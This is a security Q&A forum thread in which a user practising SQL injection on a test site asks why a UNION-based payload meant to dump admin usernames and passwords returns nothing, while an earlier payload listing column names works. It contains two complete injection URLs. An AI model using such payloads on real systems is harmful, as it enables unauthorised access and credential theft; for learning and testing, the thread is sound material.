I'm practicing SQL injection. I've been able to get the column names and table names on a test environment.

query 1. On executing below query, I see adminId, adminUsername, adminPassword

http://www.sqlexample.com/index.php?id=-2 union select 1,2,group_concat(column_name),4,5,6,7 from information_schema.columns where table_name=admin;--

query 2. Now on crafting the query as below, I don't see anything.

http://www.sqlexample.com/index.php?id=-2 union select 1,2,group_concat(adminId,0x3a,adminUsername,0x3a,adminPassword),4,5,6,7 from admin;--

I'm confused about why it doesn't shows the username,password column fields with query2, when query1 successfully show results?

  • Perhaps because you don't have permissions on the admin table? This question does not provide enough details on the problem for us to answer. Unless you have access to the target and can explain the structure, we also can't help you decypher how a target behaves. – schroeder Apr 8 '15 at 16:23
  • And … table_name=admin does actually work? – Gumbo Apr 8 '15 at 16:37
  • @schroeder I tried putting up count(*) instead of group_concat(something) and got a value '0' so I suppose that there isn't anything in that table. – harveyD Apr 9 '15 at 0:13
  • @Gumbo Yes it does work and I don't have to use CHAR() there. Can you please explain why we need to do mysqlchar conversion for the table_name ? – harveyD Apr 9 '15 at 0:15

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.